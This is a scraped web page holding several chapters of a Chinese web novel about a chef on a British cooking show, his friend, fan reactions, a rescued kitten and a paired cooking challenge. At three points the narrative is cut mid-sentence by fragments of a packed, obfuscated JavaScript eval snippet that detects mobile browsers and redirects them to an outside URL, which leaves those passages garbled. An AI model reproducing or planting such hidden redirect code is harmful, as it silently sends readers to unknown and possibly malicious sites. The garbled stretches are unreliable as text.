他睁圆了眼睛，扒着门框，以肉眼不可查的速度把门关回去一点，一副进退两难的样子。 蒋醉余只是默不作声地微笑着与他对视，齐新雨好像叹了口气，终于还是小跑着下楼打开摄像机。 他把自己藏在机器后面，透过镜头小心翼翼地观察对方。 可能是为了贴合短视频风格，蒋醉余今天难得穿了件颇为休闲的帽衫。 乍一看除了印花宽抽绳以外平平无奇，实则背面用绳子编出一个五角星。 蒋醉余把助理发给自己的视频文件连接上投影仪，直接开始播放。 【视频开头不需要介绍吗？】齐新雨思索着发消息。 通知的提示音突兀地响了起来。 蒋醉余有些意外地望他一眼，看罢手机摆摆手：“算了吧，需要的话让剪辑直接文字说明吧。” 于是录制继续。 前五名的视频里包括了三个熟人。 有从头翻车到底、最终也没能挑战成功的高中生博主。 “这个视频我看过，”蒋醉余揪了个抱枕到怀里，“豆腐的种类非常多，那盒冻豆腐就算化冻了也没法用，它比板豆腐还要粗糙、孔洞更多。” 有为网友们打开新世界大门、介绍了菊花豆腐模具的全职自媒体人摩尔根。 “如果大家真的去中国购物网站上搜菊花豆腐刀，一般会看到同一家店里还卖‘文思豆腐刀’。文思豆腐也是豆腐切丝，和菊花豆腐不同的是它们不需要相连，而且有更多配菜。” 他把平板关掉消息通知，摆在自己面前。 场外导演齐新雨果不其然又犹犹豫豫地建议道：【蒋先生要不要再多科普两句文思豆腐呀。】 蒋醉余按下播放键的手一顿，自如道： “豆腐切切丝之后，还要把火腿、胡萝卜之类的配菜也切成非常细的细丝，一起煮成汤。 “成品的文思豆腐汤里悬浮着一根根五颜六色的‘发丝’，搅动起来效果十分不错。”他干巴巴地描述。 还有用3D打印机自制模具的大学生米歇尔。 “很厉害啊，不过如果有别人也想这么做的话记得确认你的打印耗材是食用级别的。” 【蒋先生没有别的想法了吗？】齐新雨无奈道。 这几个视频都不算太短，是卡着短视频软件的时间上限剪的，他看完以后就这么一两句话，像科普，像点评，总之不像实时反应视频。 蒋醉余迷茫地和他对视片刻，齐新雨败下阵来，示意他重新打开播放器。 能从全网狂欢的大数据推送中“杀出重围”，这些被选上的视频都有其独到之处。 比如点赞数第一名的视频，直接一人饰多觉，把切豆腐的过程编成了一个短片。 暴雨中的别墅花园里，一个活0活现的红衬衫男生撑着伞，抱着棕色风衣男士的胳膊，细声细气：【豆腐哥哥，你们该离婚了，牛肉先生真正爱的是我。】 蒋醉余皱着眉回退到标题页面。 没放错啊。 雨越下越大，雷鸣电闪随之而来。 蓬头垢面的白卫衣男孩掩面而泣：【怎么会这样，陪着他白手起家、打拼到现在这个地位的人明明是我。】 【也不看看你的样子。】红衬衫哼了一声。 棕风衣皱着眉头看了她一眼，眼神毫无留恋：【你已经配不上我了，还是番茄少爷更适合站在我身边。】 他从兜里掏出两个硬币，扔到地上：【就当是你这些年的报酬，别来骚扰我们了。】 语毕，他们两人转身离开，硬币咕噜噜地滚落到花丛里。 白卫衣咬着牙从泥土中捡起硬币，头发被雨冲得贴在脸上：【总有一天我会让你们知道，谁才是真正的赢家。】 他用两个硬币买了一把刀，砍向自己的小臂。 紧接着镜头一变，转场丝滑，刀落在了柔软的内酯豆腐上。 视频一会是白卫衣坚毅的表情，一会是刀稳稳切在豆腐上的手部特写。 “刀工不错，应该是个替身。”蒋醉余职业病地评价。 切好的菊花豆腐被放进清水中，轻轻搅散花丝，毛茸茸的花朵在碗中盛开。 白卫衣张开双臂，一阵魔法少女动漫似的白光闪过，他梳好头发、系上领带，换了一身精致职业的白色西装。 皮鞋踩在大理石地板上，红衬衫和棕风衣跟在他身后亦步亦趋地道歉：【豆腐总裁，请原谅我们吧！】 菊花豆腐被挪到了番茄牛肉清汤里。 浴火重生的白西装站在别墅花园里，看着风度翩翩的管家关上大门，从前趾高气扬的狗男男抱着铁门栅栏伸出手。 视频终止于白西装一个轻蔑的笑。 蒋醉余盯着静止的画面，久久不能平静。 这个视频说它有新意，但剧情都是欧美游戏广告里见多了的套路，尤其盛行于各类免费消消乐小游戏。 若是说它没新意，可又的的确确没人想到过可以这样表现做菊花豆腐的过程，复刻出的菜品看起来也不错。 蒋醉余努力控制面部肌肉：“确实是值得它的点赞数，但我真的很难再直视番茄牛肉了。” 齐新雨噗地笑出声：“蒋先生，表情管理失控了。” “不要叫我先生。”蒋醉余捂住脸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775102|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >拜这个短片所赐，大概全世界的Mr. Beef都要天降一口名为“渣攻”的巨锅。 蒋醉余终于找到一点录制反应视频的感觉，抓紧看完整个合集，给助理交了差。 他终于又回归到节目组和家两点一线的平静生活。 而另一个人却对无波无澜的日子早已不耐烦，盼周末盼得心焦。 布莱恩和他的朋友们已经约好了星期六在自己的学生公寓里一起聚餐、看综艺。 他早早准备了各种零食和饮料，还找到附近评价不错的一家中餐厅打电话预约了外卖。 “你这就来的巧了，”餐厅老板随口道，“我们最近生意可好了，我刚想着再过五分钟就不接单了，再接该忙不过来了。” “哦？他们也和我一样是看了《美食之王》来的吗？”布莱恩问道。 “《美食之王》？那不是一档做西餐的综艺吗？”老板没有理解他的意思。 布莱恩自诩节目安利能手，自然不会错过这个机会，兴奋地告诉他： “这一季来了一个中国厨师，做饭可厉害了。他做的菊花豆腐都火出圈了，人气特别高。” 老板感谢了他的推荐，又确认了一遍他要点的菜和外卖送达的时间，笑着说：“您等着吧，到时候还有个小惊喜。” 布莱恩多方打探，老板的嘴比节目评委还要严，抓心挠肺地等来了自己约的三个朋友。 “就等你了，加文和丹尼尔都到了。”他给米歇尔打开门。 米歇尔拎着餐厅袋子进了屋：“这么翘首以盼的，是等我呢还是等饭呢？” 他到楼下的时候正好收到布莱恩的信息，说定的外卖也到了，让他顺手带上来。 布莱恩和他太熟了，一门心思接过袋子往外拿菜。 口水鸡、麻辣香锅、糖醋排骨，这都是他自己点的。翻到最后终于看到一个汤盒，上面贴着老板的留言条。 “虽然我不会做菊花豆腐，但我会做另一种考验刀工的豆腐汤。这是一盒文思豆腐羹，感谢你给我推荐节目。” 打开盒盖，勾了芡的浓稠澄澈清鸡汤包裹着纤细的配菜，有白的豆腐、红的火腿、粉的鸡胸、浅黄的冬笋、褐色的香菇，花花绿绿地漂浮着，鲜香扑鼻。 用勺子小心地扰动液体，他只觉得仿佛自己天文课看到的星轨图都被拓到了碗里。 米歇尔翻过纸条，背面还有字迹： “老板说，他先看了《美食之王》里蒋选手的个人剪辑，他的厨艺和基本功没那么好，没办法完全展现这道汤的魅力…… “如果是蒋来做这道文思豆腐，一定能满足‘细如发丝’的传统要求。” “不是吧，中国人也太恐怖了，这都不算细吗？” 丹尼尔在朋友们的怒目而视之下盛走一勺汤：“如果这叫厨艺不好，那蒋是有多强啊……” 英美之间时差不短，他们吃饭到一半，新一集节目终于上线。 “你这急吼吼的，饭还没吃完呢，”加文看着片头，“明明我们的电视台也买了转播权，离晚上八点的电视播放时间也没几个小时了嘛。” “那我们先看，你等晚上到电视上好好享受？”丹尼尔调侃道。 “滚吧，我可不想被你们疯狂剧透……啊，开始放本集看点了！” 26. 猫猫头曲奇饼 看视频不看弹幕，就像当海鸥不去码头整点薯条，是没有灵魂的。 布莱恩如是说。 然后他尖叫着关掉了评论。 “虽然夏洛特女神西装礼貌的打扮超级帅，但是怎么能有这么多污言秽语！有碍观瞻！互联网上没有他们在意的人了吗！” 米歇尔不理他，自顾自地把评论重新打开：“我觉得你也挺不在意我们三个的。” 这是什么夏洛特主厨的毒唯发言。 评委们的开头介绍逐渐推进，观众们终于有心思关注起了装扮以外的事情。 【这个世界上到底存不存在不用天气开启话题的英国人。】 【前面的，那你说这个世界上到底存不存在不用“how r u”打招呼的美国人。】 【可是这个小镇好漂亮哦。】 金钱的魅力是无穷的，节目组相当尊重赞助商爸爸，在评委们讲述惠特比的时候插入了一段记录片。 坐在海边的餐厅里，新出炉的炸鱼薯条酥脆鲜嫩，每一口都带着大海的香气。 窗外碧蓝的海浪拍打着码头边的渔船，废旧灯塔上插了一面印着笑脸的黄色旗帜。 身穿哥特系服装的人们走在古朴的大街上，沿街有各种各样的庆祝活动，这是往年哥特节的影像。 从岸上顺着灯塔望向深入海中的半岛，隔着海湾的山顶上，土黄色的古建筑静谧矗立。 视角推移到修道院台阶上，他们甚至找了一名演员身穿十九世纪的服饰，扮演世界上第一本吸血鬼小说的作者。 演员用鹅毛笔在手中的牛皮纸笔记本上刷刷书写，然后举起本子向镜头展示：“5月17日至5月19日，欢迎来到惠特比哥特节。” 【那不就是下下周末！年假我来了！】 【哪个天才发明的周主题这个玩法，出来挨亲！这不比前几季激动人心！】 【人不能，至少不应该。你对秃头导演有什么兴趣吗？】 镜头回到演播厅，身穿燕尾服的梅森刚刚落下最后一句话：“本周主题是——吸血鬼。” 【就是说，能不能选手也穿一下西装斗篷什么的，嘿嘿嘿。】 【但是用血做菜……救命，这是一期有味道的视频。】 “我真的会哕，任何一个见过生内脏的人都无法忍受这一集的。”全场唯一有做饭经历的丹尼尔对弹幕表示赞同。 “我知道你会做饭，没想到你还挑战过这种高难度食材，”加文兴奋道，“说来让我们高兴高兴。” 内脏给丹尼尔带来的心理阴影，已经超过了对加文幸灾乐祸行为的气愤。 他回想起来就一脸痛苦。 “很难形容那种感觉，就好像是你在国家野生动物园被一百只羊驼一起吐了口水，又在荒郊野岭风干了二十天。” “我当时把装食材的盒子打开以后，隔壁同学来敲我门，问我是不是马桶炸了。” “你们想象一下，要把这种腥了吧唧的东西做出评委要求的‘具有美食奖水准的菜品’，就像你要求布莱恩解出来数值分析考试最后一道大题一样。” 布莱恩缓缓回头，拎起一个抱枕：“我给你一次重新措辞的机会，别以为我不知道你那次是拖延症把新鲜内脏在冰箱里放了两天才做！” “好了，别吵了，他们食材都拿完了，你们再吵两句就该开始做了。”米歇尔一句话制止了即将升级的战争。 “蒋拿的拿一长条是什么？带鱼？大号蚯蚓？”加文迷茫地问。 “虽然我不认识，但我觉得你缺乏一些基本生物学常识。”布莱恩无语道。 弹幕也正在议论纷纷。 【很明显是鱼啊，应该是某种河鱼？】 【我认识！这个东西是黄鳝，我在中国超市见过切段冷冻的。】 【他这个操作台上好多种肉啊？猪血、鸡、鸭、五花肉、还有这个什么鱼，看起来好复杂啊。】 蒋醉余把鸡鸭焯水，塞进高压锅里吊汤。 【所以有没有评论区大厨能给科普一下，用两种禽类比单独一种的风味差距在哪。】 【鸡汤味道更醇一点，鸭肉有股腥味，但是有人喜欢。】 【鸭子一般比鸡要肥一些吧，单鸡汤有点寡淡。】 【感觉前面两个人好像微妙地分出了鸡派和鸭派，你们要不要打一架。】 “等一下！卧槽！醉余那个是魔法吗，刚刚不还是一碗血，怎么这么快就结块了。”丹尼尔目瞪口呆。 “他好像放了盐还是什么粉末？”米歇尔犹豫着判断：“可能加快了血液凝结吧。” 【这个我也知道，中国人不止用它来处理猪血，对鸭血也会这么做。】 【你这么一说我想起来了，好像有的中超也卖那种冷藏的盒装鸭血和速食鸭血粉丝汤，下次试试。】 【中国人有好多奇妙做法和奇妙食材……】 【截至目前讨论度和存在感最高的竟然是中超，被你们说得我都想去逛逛了。】 【前面的！快去！哪个大学牲赶死线的时候没有靠速冻饺子续过命，这是我除了速冻披萨以外最喜欢的了。】 【同意，推荐麻辣烫饺子。】 【无人在意的角落，加布里埃尔好像快晕过去了……】 “那天我有印象，”蒋醉余说，“因为十二个人都在处理动物血，味道真的特别大，所有人都想在节目组洗完澡再走，我还等了半天淋浴间。” 齐新雨恍然大悟：“怪不得你当时回来晚了。需要我再画两条备用围裙吗？” 上周一同看节目的活动暂停了一次，这周他们又在八点自觉地打开了电视。 自从前两天录完反应视频，两人心照不宣地不再提起那次公园之行和后续兵荒马乱的“连环自爆”，恢复成正常的……朋友相处？ 应该算朋友吧。 蒋醉余分不清楚，他连正常交友的经历都没多少。 看着屏幕里手法稍显紊乱的伊薇特，齐新雨有些担忧地问：“她现在怎么样了？” 按照她的惯常水平，是不会出现煎失败的扇贝的，但事实是，淘汰赛提供的五只扇贝里，她做坏了两个，将将凑出三只用于摆盘。 蒋醉余摇摇头：“不知道，她上周状态也不太好，比完就回家了，应该这两天回来吧，再不回来就参加不了下周比赛了。” “这舟车劳顿的……” 伊薇特并不打算弃赛，他们第二天晨起买菜的时候就在隔壁药店门口碰到了她。 “早上好，”她疲惫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775103|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地打招呼，“谢谢你们之前的热可可，不介意的话来我这边坐一会吧。” 她是今天凌晨才到的英国，一晚上马不停蹄地整理行李、伺候宠物。 “我家猫病了，它从小身体都不好，上周有两天吃什么吐什么，我就一直比较担心。” 她这次回家专心陪猫，看着它逐渐好转，却不想再拥有一次这样提心吊胆的经历了。 自己和宠物分居两个国家，父母对猫咪饲养也没有多熟悉，山高水远忙不上忙的感觉实在令人焦虑。 “我家猫特别亲我，兽医说它可能是从来没和我分开过这么久，所以心情也影响了身体状况。我看它这两天已经基本好了，干脆带到这边来养。” “还好我的室友们都很支持我，我为了把它带过来还又给节目组补了一笔押金呢。” 说话间，伊薇特的宿舍到了，她掏出钥匙打开门。 刚刚推开门，就有一只大白毛团子扑上来。 伊薇特稍微俯身抱住它挠了挠脖子：“阿西娅，你怎么这么粘人啊又偷偷开门啊。” 她回头，有些无奈地说：“我本来把她关在屋里怕影响别人，结果她开门可熟练了，看来以后得锁门。” 阿西娅“咪”了一声，睁着无辜的蓝眼睛舔了舔她，褐色耳朵轻微转动。 “这是布偶猫吗？”齐新雨跃跃欲试地看着一大蓬毛茸茸。 “是啊，玻璃胃的布偶‘狗’，肠胃不好还活泼粘人。”伊薇特一副埋怨的语气，任谁都能听出来她明明很喜欢。 她把两人迎进客厅，从包里掏出两个铁盒。 “上周五多亏了你们，那天阿西娅身体情况非常差，我夜跑到一半听我父母说医生甚至担心救不回来，当场就崩溃了，觉得特别无力。” 她看向齐新雨：“要不是泽菲尔当时安慰我、让我平静一下，说不定我就直接冲动之下退赛回家了。” “所以这两天我有空的时候做了一点饼干，带给室友和你们。”她把铁盒子往前推了推， “本来想星期一一起交给醉余的，结果正好今天碰到了，那就当面送吧。” “谁都有失落的时候。” 齐新雨笑着接过盒子打开——相比于中国人不当面拆礼物的含蓄，他们更多地认为当场拆开才能表达出自己对它的喜爱和期待。 这种情况下，礼数过重反而可能让人不安，所以她选择纯手工表达心意。 盒子里先是一张手写卡片，下面用油纸盖着排布整齐的猫头形状曲奇。 伊薇特没有制作常见味道，而是精心搭配了蜂蜜杏仁、肉桂葡萄干、乌龙茶等几个口味。 这姑娘忙了大半夜，蒋醉余两人无意过多叨扰，谢过礼物就和她告了别她。 “除了逢年过节有家境好的同学给每个人发零食，我以前从来没有收到过同龄人的礼物。”蒋醉余走在回家路上，没头没尾道。 齐新雨有些担忧地望过去。 他知道蒋醉余在团里就是个“异类”，连信都不收，还会自费把寄到公司的礼物都退回去。 蒋醉余轻轻出了一口气，像笑声又像叹息： “所以算上你的围裙，这是我第二次拿到专门给我的礼物——甚至连这样礼物，也多亏了有你。” 27. 豆乳蛋糕开箱 齐新雨不觉得帮助伊薇特完全是自己的“功劳”。 他摇摇头：“那是你的熟人，那时候节目正赛还没播呢，我既认不出来她，也不知道她是什么样的性格。 “所以还不是你喊的名字、你认可了我说安慰一下她的想法。” 蒋醉余知道，如果只有他一个人，这段意外大概也只会停留在他喊一声名字、不痛不痒地关怀两句就离开。 他不会知道同一档节目的选手有这样的故事…… 也不会知道齐新雨看到喜欢的事物时，眼睛会一下子亮起来。 “你很喜欢猫吗？”不等齐新雨回应，他就扯开话题。 齐新雨眨眨眼，点头道：“算是吧。各种小动物我都挺喜欢的，但是看外表最喜欢猫。” 猫喜欢猫，也合理，蒋醉余漫不经心地想。 “猫！”齐新雨有些惊讶地压着嗓子喊了一声。 他顺着对方的目光望去，一只看起来几乎还没断奶的小黑猫颤颤巍巍地走在路中央，正在奋力向他们的方向爬来。 这虽然是条居民区的小路，但也不是没有车辆经过的。 等蒋醉余反应过来，齐新雨已经毫不犹豫地冲上前去。 他一手捏住小猫的后颈朝着自己走回来，似乎没有把它放下到草丛里的意思。 小猫喵喵咧咧骂得好大声，蒋醉余只觉得自己心跳骤停。他连忙把手里装菜的帆布袋腾出来，把小猫暂时安置进去。 “蒋先生……”齐新雨眼巴巴地看着他，欲言又止得几乎把自己想说什么刻在了脸上。 蒋醉余叹了口气。 他都不敢想象握画笔的手该有多重要，虽说说这只猫也就巴掌大，但是它万一是个小小年纪就战斗力惊人的猫傲天呢？ “我不过敏也不怕猫，你是屋主，你说了算。”他说。 小猫从帆布袋探出一点脑袋，蒋醉余把帆布袋的往自己身边挪了一点： “……但是检查出结果之前暂时还是离它远一点吧。” 齐新雨于是又欢天喜地起来，拉着他去动物医院。 “如果蒋先生不是特别喜欢的话我可以给它找个领养，但是我不太想把它放回去。”他坐在出租车上说。 “这只猫太小啦，它一家人前阵子都被我送养了，没想到还有个漏网之鱼。它本来就不是城市生态圈的一环，不管为了鸟或者为了它都不该把它放回去的。” 他们把小猫送到动物医院，医生说它体质弱，染了不少病，暂且被扣下住院。 坐在回家的车上，齐新雨正犹豫着发布寄养，突然刷出一段视频。 “蒋先生！”他又小声叫起来，“你的提拉米苏送到博主手里啦。” 摩尔根不是第一个发出开箱视频的，但作为全职博主绝对是制作最精良的。 “大家好，我是摩尔根，今天我收到了‘菊花豆腐挑战’活动发给热度前五名博主的奖品。” “我们来看一下，这个发货时间写的是星期五夜里……”他掏出手机，给观众们展示当地的时间，“考虑到是跨国空运，我觉得这个速度很不错了。” 他用裁纸刀划开纸盒子，取出一张明信片和一个保温袋，袋子里除了装蛋糕的食品盒就是冰袋和防撞用的棉花。 “先来看看这个明信片，这个画的是醉余吧，还挺可爱的，”直男摩尔根对Q版兴趣不大，“不过这个画风是不是有点像醉余围裙上那个画，我查搜了半天没看到有爆料，有没有人知道这是谁给画的？” 他把明信片放到一边，摸出盒子： “这里贴了个菜品介绍，是一个用黄豆粉、豆浆和豆腐做出来的……提拉米苏？” 他震惊地上下端详食品盒，把菜品介绍又看了一遍，口中喃喃着“豆腐怎么能做甜品”。 观众们兴致勃勃地猜测着豆腐甜品的味道，丝毫没想到堂堂一位全职博主为什么这时候才发出视频。 摩尔根的“恶意”直到他打开盒子才透彻地展示在众人面前。 几乎数不清他用了多少个机位，致力于把盒子的近景远景三视图全都炫耀给观众。 他在外线另一端的怒骂里，先用勺子轻轻拂了一点洒在顶端的黄豆粉： “一入口就化了，有点结团的那种口感，回味有很淡的甜，应该不是加了糖，就是豆子粉本身的。” “然后这个蛋糕体应该是马斯卡彭和……应该是豆腐，一起打的吧，好像没有我豆腐挑战用的那个豆腐的味道那么突出。 “没有标准版本那么浓郁的奶酪味，可能不符合重度奶制品爱好者的需求，不过能吃到植物那种比较清爽的感觉。” “好像还有一点点花香，这个我能吃出来，是玫瑰。” 他又单舀出来半根手指饼干： “这个已经在蛋糕里被压了好几天了，现在非常湿润，有非常明显的豆子味。 “整体来讲我觉得，不是很甜，没有用咖啡和酒，会比原版轻盈清淡很多，我没什么口味偏好，就还挺喜欢的。 “我看到我们家附近的奶茶店还有个豆腐奶茶，准备去试试，豆腐能做蛋糕的话，配奶茶应该味道也不错吧。” “最后，”他举起蛋糕盒盖，“再给你们看一眼这个盖子，上面这个醉余的贴纸据说用的防水材料，不怕洗，可以反复使用哦。” 摩尔根留下一个志得意满的笑，作为视频的结束，徒留粉丝们疯狂艳羡。 【你是谁！把那个沙雕摩尔根吐出来，我认识的摩尔根才不会这么正经地做美食测评馋我呜呜呜。】 【明人不说暗话，你把食品盒和明信片都拿出来抽个奖怎么样。】 接着这股风头，节目组很快就配着另一段视频把蒋醉余的菜谱发了出来：“虽然我们没有录上制作过程，但是有这个哦。” 那视频赫然是蒋醉余当时切盆装蛋糕的场景。 几乎和中小学生课桌一边大的平盘，里面是满满当当的整块提拉米苏。 网友们眼睁睁看着那只骨节修长的手一刀切下，铲出一块块蛋糕，简直心疼得想哭。 【你住手啊！这是什么暴殄天物的行为！】 【这种蛋糕就该抱着盒子直接用勺子挖，想想都爽到飞起。】 【在？来点选手的Q版周边呢？】 最后一条评论很快得到了官方回复： 【围裙、贴纸和明信片都是醉余自带的，不是我们安排的哦。】 换句话说，别想啦，我们管不到人家。 网友们泪流满面，远在华夏的聂晴对闺蜜哭诉： “他们既然抽不了奖为什么要拿出来馋我，这个酱鱼画得也太可爱了，或者告诉我画师我自己去约稿都可以啊。” “你不是前几天才说要去找你们那个镇圈画手约吗？”周初怡问道，“最近发财啦？敢这么造作。” “哪啊，”聂晴提起这事更悲伤了，“西风女神四月初改了个‘忙于个人作品’的简介，这一个月都没上线啊！” 周初怡也没话说了，努力给她出主意：“……那你们工作室不是在谈合作吗，看看能不能找他们要个授权作为宣发材料什么的？” “好主意，我去问问，就算只能问来画手账号也行啊。” 聂晴极富行动力地消失了，还不忘跑到短视频平台问了授权，把两个提拉米苏视频都转到自己微博账号上。 终于有新物料看了的小粉丝们喜极而泣，开始逐帧舔屏。 【等一下？我有一个问题！酱鱼问工作人员“你们三个要一起切吗”，最后他切了五块，那多出来的那一块是给谁的！】 【完全没问幻之第五人的意见，是划分为自己人的意思吧？】 【三块蛋糕是推到屏幕外的方向，应该都是工作人员，剩下两块蛋糕一块是他自己的。】 【你们看倒数第三秒，左边伸出来一只好白好好看的手，把蛋糕抽走了。】 可是单凭一只手能判断的了什么呢，只怕连是男是女都分不出来。 【嘘，不要再扒啦。酱鱼都被发配到伦敦了，我们看到他好好的就行啦。】 是哦。 伦敦分队的所有队员，公司账号被封存、年度排名参选资格被剥夺、甚至伦敦公演最前排的票都要不了几块钱，除了挂个名字以外和退团大概也没什么差别；饿。 男神这么大动静，狗公司一点反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他慢条斯理地合上保温杯盖子放到一旁，扭头对着偷看自己的演员笑了笑。 对方虽然没想到自己被抓包，微微有些慌乱地笑道： “还得是南老师这样的老牌偶像注意养生，我这两天打游戏稍微晚点儿就觉得没有之前舒服了，改明儿我也买个保温杯去。” 说话的是个来“追求梦想”的富二代，光明正大带资进组，拿下了不少好资源，地位爬升很快…… 最重要的是他年轻。 南楠噎了噎，觉得这话说得夹枪带棒。 所谓的注意养生，还有个低情商说法叫“你老了”。 你“这两天”熬不了夜就觉得自己年纪大了、需要用保温杯，那从出道就是规范作息老干部人设的自己又算什么？ 他内心咬牙切齿，面上仍亲切道： “没办法，阿甫老是怕我不舒服，盯得太紧了。不过我那就有一个买多了的同款，不嫌弃的话我让助理拿给你。” 叫你跟人学，你干脆学到用同款吧，娱乐圈撞用品谁晚谁尴尬。 “靳哥和南老师关系这么好呀！” 富二代哇了一声，完全没听出来对方在用他和靳书甫的关系敲打自己。 南楠被他天真的眼神看得想吐血，还好导演开始喊他准备下一场，忙不迭地离开。 七八小时的时差之外，他的单方面死对头也刚刚被导演拯救。 “请各位同学不要进入警戒线，选手到广场中间集合，”秃头导演举着大喇叭喊，“我们第四周正赛马上开始录制。” 从摄影棚赶来外景赛场，路途不近、再加上堵车，选手们表情都不太好看。 蒋醉余落在队伍最后，躲开导演的目光悄悄向人群中挥了挥手。 齐新雨站在警戒线外笑得眉眼弯弯，对他做了个加油的口型。 “今天的挑战赛，我们来到了一所世界顶尖的艺术大学，”夏洛特召回选手们的注意力，“这一周的主题是‘协调’，比赛内容是——” “你们需要在规定时间内找到一名学生一起完成比赛。” 28. 包子配天妇罗 在过往的《美食之王》节目中，并非没有双人合作烹饪的例子。 但那大多数是选手之间的合作，少数是邀请选手的亲友来到现场配合工作，但像这样直接找陌生人的还是第一次。 这是什么社交牛逼症才配拥有的挑战内容啊…… “今天的上午十一点到下午一点半，一共两个半小时的时间，你们要在主图书馆外的广场上为学生们提供午餐，我们将以营业额和学生反馈结合起来进行排名，排名后百分之八十进入淘汰赛。” 后百分之八十？现场一共只有十名选手，直接说后八名不就好了，《美食之王》似乎从来也没有过用百分比来分界的例子。 选手们有些不解，但一时半刻也想不出来答案，请教评委也只会得到一个故作神秘的笑容。 “那找的那名学生一定要参与烹饪吗？”又有人问道。 如果真的找一个不熟悉的外行人，说不定反而会帮倒忙，有不少人都想到是否可以让学生只负责揽客和收银。 “当然啦，”夏洛特肯定道，“哪怕只是在前期准备中削削土豆皮也可以，但是不能完全不让对方碰食材。” “还有什么问题吗？”梅森环顾一圈。 蒋醉余暗自叹了口气，他实在不想吸引众人的目光，但是有的情况必须提前问明白。 就在他准备出声时，先听到薇薇安问：“如果我在这所学校有认识的人，可以直接邀请他和我一起吗？” 正是蒋醉余想要问的。 “考虑到你们早就已经认识了，默契度更高，那就减少二十分钟的备菜时间吧。” “不要被我们发现瞒报哦，”奥斯汀笑眯眯地威胁，“你会被直接以违规作弊为由剥夺参赛资格的。” 随着评委们一声令下，半小时找帮手的时间当即开始。 对大部分选手来说，他们想要找到的学生最好有这样的特征。 第一，在接下来三四个小时里都没有课，这是必备条件，要不然比赛到一半搭档去上课了实在很尴尬。 第二，最好会做饭，谁也不想找一个只能帮着剥剥皮切切菜的助手，对方至少要具备基本的厨艺。 第三，如果社交能力强、人缘好就更好了，不仅能呼朋引伴来自己摊位，还能就学生们喜欢的菜色给出建议。 除了不怎么会做饭以外，齐新雨完美符合所有要求。 虽说女王国硕士学制只有一年，他转过年就要毕业，但毕业作品已经完成了大半，还被教授特批可以不记考勤，时间上比别人都自由得多。 单只是他穿过警戒线外的人群向广场里走的这一小段路，蒋醉余就看到了好几个学生在和他打招呼。 “蒋，你真的要牺牲二十分钟的备菜时间，来找你的朋友和你做搭档吗？”选手助理在登记前最后一次提醒他代价。 蒋醉余点点头。他宁可自己多做一点工作，也不想在校园里闲逛找人。 肯来围观拍摄的学生大多都是《美食之王》的观众，甚至是其中某位选手的粉丝，选手们自然乐得从这群熟悉节目和比赛的人之中寻找搭档。 在他们挑人的同时，蒋醉余和齐新雨被节目组隔到了广场两端。 “在备菜时间开始之前，选手和搭档是不能有太多讨论的，”导演摊了摊手，“可谁叫你们一拍即合得太迅速了呢，那就只能在这里干坐二十几分钟了。” 蒋醉余无所事事地等了半天，身边又坐下几个人。 是找到新搭档的选手们和帮手刚刚才赶到的薇薇安。她约来的人是自己的亲弟弟。 “他在这边学雕塑，”薇薇安介绍道，“今年已经大三了，我准备录完节目在女王国留一阵子，刚好能赶上他的毕业典礼。” 伊拉抬头看了她一看，没说话。 很快，半小时时间到了，评委们再次来到广场上，而粥川依然没有回来。 “对于超时还没有来登记的选手，很遗憾，就算他带着搭档回来了，也只能是辛苦这位同学白跑一趟。”评委再一次强调。 很快，粥川跟着导演车被接了回来。 看着他气喘吁吁的疲惫样子，梅森不免问道：“这是怎么了？” 跟拍的执行导演回答道：“也不知道他这个运气怎么回事，找了不知道多少学生，全都是录制期间有课的，好不容易找到一个不用上课的，还是个厨房杀手。” 时间对粥川来说并不算充裕，他本着有总比没有好的心态邀请了那名学生，走到一半对方却突然收到邮件，教授约他中午讨论他的毕业设计。 他只能无奈地放走了搭档，学生离开前建议他，如果实在找不到的话，可以去校美术馆看看，很多人会在那边一口气泡一天，都比较闲。 粥川无奈地接话：“结果我根本没看到美术馆，直接在校园里迷路了。” “这也太不幸了，”夏洛特说，“不过作为上一周比赛的淘汰赛第一，你还有一个优势。” 评委们先前没有告诉他们的信息是，这轮比赛根本不是个人对抗，而是分为五组，每组两名选手、两名学生。 或者严谨点来讲，至多两名学生。 “而你，粥川，可以第一个挑选你想要的组员。” 粥川一一扫过面前的九名对手，看着其中几人眼神闪躲，明显是不想和没有帮手的自己一组。 他目光紧紧盯着洛伦佐，口中道：“我希望找的这位选手，看起来对我孑然一身这件事表现得比较无所谓，并且拥有绝对优势的实力和人气，。” “我的选择是——蒋，合作愉快。” 蒋醉余站起身：“你确定吗？” “当然，难道你不愿意和我一组吗？”粥川说。 “那倒不是，就是没想到你这么喜欢挑战自我。”蒋醉余否认一句，走到他身边。 两人看起来都没什么击掌庆祝合作的打算，对视一眼就各自沉默。 接下来的几人也按照淘汰赛的排名顺序先后挑选组员，分成四队。 洛伦佐选走了塞缪尔，薇薇安叫上了加布里埃尔，伊拉在剩下三人中犹豫了片刻，终于道：“伊薇特今天给我的感觉和前两周都不太一样，我愿意相信她已经回到了自己应有的水平。” 